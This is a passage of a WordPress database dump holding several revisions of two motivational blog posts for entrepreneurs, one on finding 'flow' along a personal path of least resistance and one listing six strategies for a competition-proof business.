stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the <a href="http://en.wikipedia.org/wiki/I_Ching" target="_blank"> I-Ching</a>, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-17', '', '', '2010-08-12 18:26:19', '2010-08-13 01:26:19', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-17/', 0, 'revision', '', 0),
(1045, 2, '2010-08-12 18:31:03', '2010-08-13 01:31:03', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the <a href="http://en.wikipedia.org/wiki/I_Ching" target="_blank"> I-Ching</a>, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-18', '', '', '2010-08-12 18:31:03', '2010-08-13 01:31:03', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-18/', 0, 'revision', '', 0),
(1046, 2, '2010-09-09 13:28:33', '2010-09-09 20:28:33', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="450" height="296" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\n<!--more-->When customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'publish', 'open', 'open', '', 'six-strategies-for-creating-unparalleled-competitive-advantage-in-your-business', '', '', '2010-12-27 15:57:13', '2010-12-27 22:57:13', '', 0, 'http://www.whitehotcenter.com/?p=1046', 0, 'post', '', 0),
(1047, 2, '2010-09-09 13:14:04', '2010-09-09 20:14:04', '', 'competition-proof', 0, '', 'inherit', 'open', 'open', '', 'competition-proof', '', '', '2010-09-09 13:14:04', '2010-09-09 20:14:04', '', 1046, 'http://www.whitehotcenter.com/wp-content/uploads/2010/09/competition-proof.gif', 0, 'attachment', 'image/gif', 0),
(1048, 2, '2010-09-09 13:16:21', '2010-09-09 20:16:21', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\n<div>\n\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\n\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\n\n<strong>Strategy One<em>\nAs you think, so it becomes! </em></strong>\n\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\n\n<strong>Strategy Two<em>\nDo what matters to you and serves others! </em></strong>\n\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\n\n<strong>Strategy Three<em>\nBe different, and make a difference! </em></strong>\n\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\n\n<strong>Strategy Four<em>\nProvide more use value than you receive in cash value! </em></strong>\n\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\n\n<strong>Strategy Five<em>\nFocus on your genius, delegate everything else! </em></strong>\n\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\n\n<strong>Strategy Six<em>\nTurn customers into your non-paid sales force! </em></strong>\n\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\n\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\n\n<strong>The reason is simple. When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\n\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage', 0, '', 'inherit', 'open', 'open', '', '1046-revision', '', '', '2010-09-09 13:16:21', '2010-09-09 20:16:21', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision/', 0, 'revision', '', 0),
(1049, 2, '2010-09-09 13:16:34', '2010-09-09 20:16:34', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>The reason is simple. When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage', 0, '', 'inherit', 'open', 'open', '', '1046-revision-2', '', '', '2010-09-09 13:16:34', '2010-09-09 20:16:34', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision-2/', 0, 'revision', '', 0),
(1050, 2, '2010-09-09 13:16:59', '2010-09-09 20:16:59', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>The reason is simple. When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage', 0, '', 'inherit', 'open', 'open', '', '1046-revision-3', '', '', '2010-09-09 13:16:59', '2010-09-09 20:16:59', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision-3/', 0, 'revision', '', 0),
(1053, 2, '2010-09-09 13:26:13', '2010-09-09 20:26:13', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-revision-6', '', '', '2010-09-09 13:26:13', '2010-09-09 20:26:13', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision-6/', 0, 'revision', '', 0);
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(1051, 2, '2010-09-09 13:22:22', '2010-09-09 20:22:22', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>The reason is simple. When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-revision-4', '', '', '2010-09-09 13:22:22', '2010-09-09 20:22:22', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision-4/', 0, 'revision', '', 0),
